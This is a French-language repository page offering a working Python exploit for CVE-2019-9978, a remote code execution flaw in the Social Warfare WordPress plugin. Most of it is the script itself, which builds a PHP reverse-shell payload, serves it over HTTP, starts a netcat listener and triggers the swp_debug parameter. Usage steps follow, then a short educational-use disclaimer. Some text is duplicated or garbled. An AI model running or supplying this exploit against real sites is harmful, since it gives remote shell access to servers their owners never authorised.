
Le paramètre `swp_debug` dans `admin-post.php` permet à des attaquants distants d'inclure des fichiers externes contenant du code PHP malveillant, qui sont évalués sur le serveur. En fournissant une URL spécialement conçue qui héberge une charge utile de shell inversé, un attaquant peut obtenir l'exécution de commandes.
Ce dépôt contient un exploit Python fonctionnel pour CVE-2019-9978, une vulnérabilité d'exécution de code à distance dans le plugin Social Warfare pour WordPress (version <= 3.5.2).
Le paramètre swp_debug dans admin-post.php permet à un attaquant distant d'inclure des fichiers externes contenant du code PHP malveillant, qui sont évalués sur le serveur. En fournissant une URL spécialement conçue hébergeant une charge utile de reverse shell, un attaquant peut obtenir l'exécution de commandes.
swp_url malveillant pour déclencher l'exécution de code (RCE).example.com mappé à l'IP cible)#!/usr/bin/env python3
import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130" # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"
def create_payload():
"""Write exact reverse shell payload using valid PHP syntax"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] Payload written to {PAYLOAD_FILE}")
def start_http_server():
"""Serve payload over HTTP"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP server running at port {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""Start Netcat listener"""
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""Trigger the exploit with vulnerable parameter"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] Sending exploit: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# Start web server in background
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # Give server time to start
# Start listener in background
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# Send the malicious request
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] Interrupted by user.")
ATTACKER_IP et LISTEN_PORT avec l'IP de votre machine et le port souhaité.example.com vers la bonne IP.python3 exploit.py
Cet exploit est fourni uniquement à des fins éducatives. Ne l'utilisez pas sans autorisation explicite sur un système que vous ne possédez pas.